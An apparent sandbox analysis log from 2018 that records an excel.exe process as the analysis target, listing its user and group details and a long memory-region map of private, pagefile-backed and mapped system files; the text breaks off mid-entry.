# Flog Txt Version 1
# Analyzer Version: 2.3.0
# Analyzer Build Date: Apr 12 2018 14:32:59
# Log Creation Date: 18.04.2018 14:33:28.107

Process:
	id = "1"
	image_name = "excel.exe"
	filename = "c:\\program files (x86)\\microsoft office\\office12\\excel.exe"
	page_root = "0xd272000"
	os_pid = "0x79c"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "analysis_target"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Program Files (x86)\\Microsoft Office\\Office12\\EXCEL.EXE\""
	cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\"
	os_username = "XABNCPUWKW\\kFT6uTQW"
	os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ed36" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 134
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 135
	        start_va = 0x20000
	          end_va = 0x22fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000020000"
	        filename = ""

Region:
	              id = 136
	        start_va = 0x30000
	          end_va = 0x30fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 137
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 138
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 139
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 140
	        start_va = 0x70000
	          end_va = 0xd6fff
	     entry_point = 0x70000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 141
	        start_va = 0xe0000
	          end_va = 0xe0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000e0000"
	        filename = ""

Region:
	              id = 142
	        start_va = 0xf0000
	          end_va = 0xf2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000000f0000"
	        filename = ""

Region:
	              id = 143
	        start_va = 0x100000
	          end_va = 0x103fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000100000"
	        filename = ""

Region:
	              id = 144
	        start_va = 0x110000
	          end_va = 0x127fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000110000"
	        filename = ""

Region:
	              id = 145
	        start_va = 0x130000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000130000"
	        filename = ""

Region:
	              id = 146
	        start_va = 0x170000
	          end_va = 0x17ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000170000"
	        filename = ""

Region:
	              id = 147
	        start_va = 0x180000
	          end_va = 0x180fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000180000"
	        filename = ""

Region:
	              id = 148
	        start_va = 0x190000
	          end_va = 0x19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000190000"
	        filename = ""

Region:
	              id = 149
	        start_va = 0x1a0000
	          end_va = 0x1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001a0000"
	        filename = ""

Region:
	              id = 150
	        start_va = 0x1b0000
	          end_va = 0x1bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001b0000"
	        filename = ""

Region:
	              id = 151
	        start_va = 0x1c0000
	          end_va = 0x1cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001c0000"
	        filename = ""

Region:
	              id = 152
	        start_va = 0x1d0000
	          end_va = 0x1dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001d0000"
	        filename = ""

Region:
	              id = 153
	        start_va = 0x1e0000
	          end_va = 0x1effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001e0000"
	        filename = ""

Region:
	              id = 154
	        start_va = 0x1f0000
	          end_va = 0x1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000001f0000"
	        filename = ""

Region:
	              id = 155
	        start_va = 0x200000
	          end_va = 0x20ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000200000"
	        filename = ""

Region:
	              id = 156
	        start_va = 0x210000
	          end_va = 0x21ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000210000"
	        filename = ""

Region:
	              id = 157
	        start_va = 0x220000
	          end_va = 0x22ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000220000"
	        filename = ""

Region:
	              id = 158
	        start_va = 0x230000
	          end_va = 0x23ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000230000"
	        filename = ""

Region:
	              id = 159
	        start_va = 0x240000
	          end_va = 0x24ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000240000"
	        filename = ""

Region:
	              id = 160
	        start_va = 0x250000
	          end_va = 0x25ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000250000"
	        filename = ""

Region:
	              id = 161
	        start_va = 0x260000
	          end_va = 0x26ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000260000"
	        filename = ""

Region:
	              id = 162
	        start_va = 0x270000
	          end_va = 0x27ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000270000"
	        filename = ""

Region:
	              id = 163
	        start_va = 0x280000
	          end_va = 0x28ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000280000"
	        filename = ""

Region:
	              id = 164
	        start_va = 0x290000
	          end_va = 0x29ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000290000"
	        filename = ""

Region:
	              id = 165
	        start_va = 0x2a0000
	          end_va = 0x2a1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002a0000"
	        filename = ""

Region:
	              id = 166
	        start_va = 0x2b0000
	          end_va = 0x2bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002b0000"
	        filename = ""

Region:
	              id = 167
	        start_va = 0x2c0000
	          end_va = 0x2c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000002c0000"
	        filename = ""

Region:
	              id = 168
	        start_va = 0x2d0000
	          end_va = 0x3cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002d0000"
	        filename = ""

Region:
	              id = 169
	        start_va = 0x3d0000
	          end_va = 0x557fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000003d0000"
	        filename = ""

Region:
	              id = 170
	        start_va = 0x560000
	          end_va = 0x56ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000560000"
	        filename = ""

Region:
	              id = 171
	        start_va = 0x570000
	          end_va = 0x5effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000570000"
	        filename = ""

Region:
	              id = 172
	        start_va = 0x5f0000
	          end_va = 0x770fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000005f0000"
	        filename = ""

Region:
	              id = 173
	        start_va = 0x780000
	          end_va = 0x78ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000780000"
	        filename = ""

Region:
	              id = 174
	        start_va = 0x790000
	          end_va = 0x88ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000790000"
	        filename = ""

Region:
	              id = 175
	        start_va = 0x890000
	          end_va = 0x1c8ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000890000"
	        filename = ""

Region:
	              id = 176
	        start_va = 0x1c90000
	          end_va = 0x1d6efff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001c90000"
	        filename = ""

Region:
	              id = 177
	        start_va = 0x1d70000
	          end_va = 0x1d8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001d70000"
	        filename = ""

Region:
	              id = 178
	        start_va = 0x1d90000
	          end_va = 0x1d90fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000001d90000"
	        filename = ""

Region:
	              id = 179
	        start_va = 0x1da0000
	          end_va = 0x1daffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000001da0000"
	        filename = ""

Region:
	              id = 180
	        start_va = 0x1db0000
	          end_va = 0x1fe9fff
	     entry_point = 0x1db0000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE12\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office12\\cultures\\office.odf")

Region:
	              id = 181
	        start_va = 0x1ff0000
	          end_va = 0x2199fff
	     entry_point = 0x1ff0000
	     region_type = mapped_file
	            name = "xlintl32.dll"
	        filename = "\\Program Files (x86)\\Microsoft Office\\Office12\\1033\\XLINTL32.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\office12\\1033\\xlintl32.dll")

Region:
	              id = 182
	        start_va = 0x21a0000
	          end_va = 0x21a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000021a0000"
	        filename = ""

Region:
	              id = 183
	        start_va = 0x21b0000
	          end_va = 0x21b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021b0000"
	        filename = ""

Region:
	              id = 184
	        start_va = 0x21c0000
	          end_va = 0x21c0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000021c0000"
	        filename = ""

Region:
	              id = 185
	        start_va = 0x21d0000
	          end_va = 0x220ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000021d0000"
	        filename = ""

Region:
	              id = 186
	        start_va = 0x2210000
	          end_va = 0x2210fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002210000"
	        filename = ""

Region:
	              id = 187
	        start_va = 0x2220000
	          end_va = 0x222ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002220000"
	        filename = ""

Region:
	              id = 188
	        start_va = 0x2230000
	          end_va = 0x223ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002230000"
	        filename = ""

Region:
	              id = 189
	        start_va = 0x2240000
	          end_va = 0x224ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002240000"
	        filename = ""

Region:
	              id = 190
	        start_va = 0x2250000
	          end_va = 0x225ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002250000"
	        filename = ""

Region:
	              id = 191
	        start_va = 0x2260000
	          end_va = 0x226ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002260000"
	        filename = ""

Region:
	              id = 192
	        start_va = 0x2270000
	          end_va = 0x227ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002270000"
	        filename = ""

Region:
	              id = 193
	        start_va = 0x2280000
	          end_va = 0x22bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002280000"
	        filename = ""

Region:
	              id = 194
	        start_va = 0x22c0000
	          end_va = 0x258efff
	     entry_point = 0x22c0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 195
	        start_va = 0x2590000
	          end_va = 0x259ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002590000"
	        filename = ""

Region:
	              id = 196
	        start_va = 0x25a0000
	          end_va = 0x25a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025a0000"
	        filename = ""

Region:
	              id = 197
	        start_va = 0x25b0000
	          end_va = 0x25b6fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000025b0000"
	        filename = ""

Region:
	              id = 198
	        start_va = 0x25c0000
	          end_va = 0x25c1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000025c0000"
	        filename = ""

Region:
	              id = 199
	        start_va = 0x25d0000
	          end_va = 0x25d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025d0000"
	        filename = ""

Region:
	              id = 200
	        start_va = 0x25e0000
	          end_va = 0x261ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000025e0000"
	        filename = ""

Region:
	              id = 201
	        start_va = 0x2620000
	          end_va = 0x262ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002620000"
	        filename = ""

Region:
	              id = 202
	        start_va = 0x2630000
	          end_va = 0x263ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002630000"
	        filename = ""

Region:
	              id = 203
	        start_va = 0x2640000
	          end_va = 0x267ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002640000"
	        filename = ""

Region:
	              id = 204
	        start_va = 0x2680000
	          end_va = 0x2faffff
	     entry_point = 0x2680000
	     region_type = mapped_file
	            name = "staticcache.dat"
	        filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat")

Region:
	              id = 205
	        start_va = 0x2fb0000
	          end_va = 0x2fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fb0000"
	        filename = ""

Region:
	              id = 206
	        start_va = 0x2fc0000
	          end_va = 0x2fcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fc0000"
	        filename = ""

Region:
	              id = 207
	        start_va = 0x2fd0000
	          end_va = 0x300ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002fd0000"
	        filename = ""

Region:
	              id = 208
	        start_va = 0x3010000
	          end_va = 0x308ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003010000"
	        filename = ""

Region:
	              id = 209
	        start_va = 0x3090000
	          end_va = 0x309ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003090000"
	        filename = ""

Region:
	              id = 210
	        start_va = 0x30a0000
	          end_va = 0x30affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030a0000"
	        filename = ""

Region:
	              id = 211
	        start_va = 0x30b0000
	          end_va = 0x30bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030b0000"
	        filename = ""

Region:
	              id = 212
	        start_va = 0x30c0000
	          end_va = 0x30cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030c0000"
	        filename = ""

Region:
	              id = 213
	        start_va = 0x30d0000
	          end_va = 0x31cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000030d0000"
	        filename = ""

Region:
	              id = 214
	        start_va = 0x31d0000
	          end_va = 0x31dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031d0000"
	        filename = ""

Region:
	              id = 215
	        start_va = 0x31e0000
	          end_va = 0x31effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031e0000"
	        filename = ""

Region:
	              id = 216
	        start_va = 0x31f0000
	          end_va = 0x31fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000031f0000"
	        filename = ""

Region:
	              id = 217
	        start_va = 0x3200000
	          end_va = 0x320ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003200000"
	        filename = ""

Region:
	              id = 218
	        start_va = 0x3210000
	          end_va = 0x3211fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003210000"
	        filename = ""

Region:
	              id = 219
	        start_va = 0x3220000
	          end_va = 0x3220fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003220000"
	        filename = ""

Region:
	              id = 220
	        start_va = 0x3230000
	          end_va = 0x3235fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003230000"
	        filename = ""

Region:
	              id = 221
	        start_va = 0x3240000
	          end_va = 0x324efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003240000"
	        filename = ""

Region:
	              id = 222
	        start_va = 0x3250000
	          end_va = 0x3250fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003250000"
	        filename = ""

Region:
	              id = 223
	        start_va = 0x3260000
	          end_va = 0x326ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003260000"
	        filename = ""

Region:
	              id = 224
	        start_va = 0x3270000
	          end_va = 0x3278fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003270000"
	        filename = ""

Region:
	              id = 225
	        start_va = 0x3280000
	          end_va = 0x3288fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003280000"
	        filename = ""

Region:
	              id = 226
	        start_va = 0x3290000
	          end_va = 0x329ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003290000"
	        filename = ""

Region:
	              id = 227
	        start_va = 0x32a0000
	          end_va = 0x32dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000032a0000"
	        filename = ""

Region:
	              id = 228
	        start_va = 0x32e0000
	          end_va = 0x32e8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000032e0000"
	        filename = ""

Region:
	              id = 229
	        start_va = 0x32f0000
	          end_va = 0x32fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000032f0000"
	        filename = ""

Region:
	              id = 230
	        start_va = 0x3300000
	          end_va = 0x330ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003300000"
	        filename = ""

Region:
	              id = 231
	        start_va = 0x3310000
	          end_va = 0x340ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003310000"
	        filename = ""

Region:
	              id = 232
	        start_va = 0x3410000
	          end_va = 0x341ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003410000"
	        filename = ""

Region:
	              id = 233
	        start_va = 0x3420000
	          end_va = 0x342ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003420000"
	        filename = ""

Region:
	              id = 234
	        start_va = 0x3430000
	          end_va = 0x3430fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003430000"
	        filename = ""

Region:
	              id = 235
	        start_va = 0x3440000
	          end_va = 0x353ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003440000"
	        filename = ""

Region:
	              id = 236
	        start_va = 0x3540000
	          end_va = 0x363ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003540000"
	        filename = ""

Region:
	              id = 237
	        start_va = 0x3640000
	          end_va = 0x364ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003640000"
	        filename = ""

Region:
	              id = 238
	        start_va = 0x3650000
	          end_va = 0x365ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003650000"
	        filename = ""

Region:
	              id = 239
	        start_va = 0x3660000
	          end_va = 0x369ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003660000"
	        filename = ""

Region:
	              id = 240
	        start_va = 0x36a0000
	          end_va = 0x36a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000036a0000"
	        filename = ""

Region:
	              id = 241
	        start_va = 0x36b0000
	          end_va = 0x36b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000036b0000"
	        filename = ""

Region:
	              id = 242
	        start_va = 0x36c0000
	          end_va = 0x36cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000036c0000"
	        filename = ""

Region:
	              id = 243
	        start_va = 0x36d0000
	          end_va = 0x36d0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000036d0000"
	        filename = ""

Region:
	              id = 244
	        start_va = 0x36e0000
	          end_va = 0x36e0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000036e0000"
	        filename = ""

Region:
	              id = 245
	        start_va = 0x36f0000
	          end_va = 0x36f0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000036f0000"
	        filename = ""

Region:
	              id = 246
	        start_va = 0x3700000
	          end_va = 0x3702fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003700000"
	        filename = ""

Region:
	              id = 247
	        start_va = 0x3710000
	          end_va = 0x371ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003710000"
	        filename = ""

Region:
	              id = 248
	        start_va = 0x3720000
	          end_va = 0x372bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003720000"
	        filename = ""

Region:
	              id = 249
	        start_va = 0x3730000
	          end_va = 0x3731fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003730000"
	        filename = ""

Region:
	              id = 250
	        start_va = 0x3740000
	          end_va = 0x377ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003740000"
	        filename = ""

Region:
	              id = 251
	        start_va = 0x3780000
	          end_va = 0x3780fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003780000"
	        filename = ""

Region:
	              id = 252
	        start_va = 0x3790000
	          end_va = 0x37cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003790000"
	        filename = ""

Region:
	              id = 253
	        start_va = 0x37d0000
	          end_va = 0x37d0fff
	     entry_point = 0x37d0000
	     region_type = mapped_file
	            name = "wdmaud.drv.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\wdmaud.drv.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wdmaud.drv.mui")

Region:
	              id = 254
	        start_va = 0x37e0000
	          end_va = 0x37e0fff
	     entry_point = 0x37e0000
	     region_type = mapped_file
	            name = "mmdevapi.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\MMDevAPI.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mmdevapi.dll.mui")

Region:
	              id = 255
	        start_va = 0x37f0000
	          end_va = 0x37f1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000037f0000"
	        filename = ""

Region:
	              id = 256
	        start_va = 0x3800000
	          end_va = 0x380ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003800000"
	        filename = ""

Region:
	              id = 257
	        start_va = 0x3810000
	          end_va = 0x382efff
	     entry_point = 0x3810000
	     region_type = mapped_file
	            name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db"
	        filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000010.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000010.db")

Region:
	              id = 258
	        start_va = 0x3830000
	          end_va = 0x3830fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003830000"
	        filename = ""

Region:
	              id = 259
	        start_va = 0x3840000
	          end_va = 0x3841fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003840000"
	        filename = ""

Region:
	              id = 260
	        start_va = 0x3850000
	          end_va = 0x385cfff
	     entry_point = 0x3850000
	     region_type = mapped_file
	            name = "comdlg32.dll.mui"
	        filename = "\\Windows\\SysWOW64\\en-US\\comdlg32.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\comdlg32.dll.mui")

Region:
	              id = 261
	        start_va = 0x3860000
	          end_va = 0x3861fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003860000"
	        filename = ""

Region:
	              id = 262
	        start_va = 0x3870000
	          end_va = 0x3871fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003870000"
	        filename = ""

Region:
	              id = 263
	        start_va = 0x3880000
	          end_va = 0x3880fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003880000"
	        filename = ""

Region:
	              id = 264
	        start_va = 0x3890000
	          end_va = 0x3892fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003890000"
	        filename = ""

Region:
	              id = 265
	        start_va = 0x38a0000
	          end_va = 0x38a2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038a0000"
	        filename = ""

Region:
	              id = 266
	        start_va = 0x38b0000
	          end_va = 0x38effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000038b0000"
	        filename = ""

Region:
	              id = 267
	        start_va = 0x38f0000
	          end_va = 0x3ce2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000038f0000"
	        filename = ""

Region:
	              id = 268
	        start_va = 0x3cf0000
	          end_va = 0x3cf2fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003cf0000"
	        filename = ""

Region:
	              id = 269
	        start_va = 0x3d00000
	          end_va = 0x3d3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d00000"
	        filename = ""

Region:
	              id = 270
	        start_va = 0x3d40000
	          end_va = 0x3d40fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d40000"
	        filename = ""

Region:
	              id = 271
	        start_va = 0x3d50000
	          end_va = 0x3d52fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d50000"
	        filename = ""

Region:
	              id = 272
	        start_va = 0x3d60000
	          end_va = 0x3e5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d60000"
	        filename = ""

Region:
	              id = 273
	        start_va = 0x3e60000
	          end_va = 0x3f5ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e60000"
	        filename = ""

Region:
	              id = 274
	        start_va = 0x3f60000
	          end_va = 0x3f6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f60000"
	        filename = ""

Region:
	              id = 275
	        start_va = 0x3f70000
	          end_va = 0x3faffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003f70000"
	        filename = ""

Region:
	              id = 276
	        start_va = 0x3fb0000
	          end_va = 0x3fb1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fb0000"
	        filename = ""

Region:
	              id = 277
	        start_va = 0x3fc0000
	          end_va = 0x3fd1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fc0000"
	        filename = ""

Region:
	              id = 278
	        start_va = 0x3fe0000
	          end_va = 0x3ff1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fe0000"
	        filename = ""

Region:
	              id = 279
	        start_va = 0x4000000
	          end_va = 0x4003fff
	     entry_point = 0x4000000
	     region_type = mapped_file
	            name = "cversions.2.db"
	        filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")

Region:
	              id = 280
	        start_va = 0x4010000
	          end_va = 0x4010fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004010000"
	        filename = ""

Region:
	              id = 281
	        start_va = 0x4020000
	          end_va = 0x405ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004020000"
	        filename = ""

Region:
	              id = 282
	        start_va = 0x4060000
	          end_va = 0x4060fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004060000"
	        filename = ""

Region:
	              id = 283
	        start_va = 0x4070000
	          end_va = 0x4070fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004070000"
	        filename = ""

Region:
	              id = 284
	        start_va = 0x4080000
	          end_va = 0x4080fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004080000"
	        filename = ""

Region:
	              id = 285
	        start_va = 0x4090000
	          end_va = 0x4090fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004090000"
	        filename = ""

Region:
	              id = 286
	        start_va = 0x40a0000
	          end_va = 0x40a0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040a0000"
	        filename = ""

Region:
	              id = 287
	        start_va = 0x40b0000
	          end_va = 0x41affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040b0000"
	        filename = ""

Region:
	              id = 288
	        start_va = 0x41b0000
	          end_va = 0x42affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000041b0000"
	        filename = ""

Region:
	              id = 289
	        start_va = 0x42b0000
	          end_va = 0x42b0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042b0000"
	        filename = ""

Region:
	              id = 290
	        start_va = 0x42c0000
	          end_va = 0x42cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000042c0000"
	        filename = ""

Region:
	              id = 291
	        start_va = 0x42d0000
	          end_va = 0x42d0fff
	     entry_point = 0x0
	     region_type = private
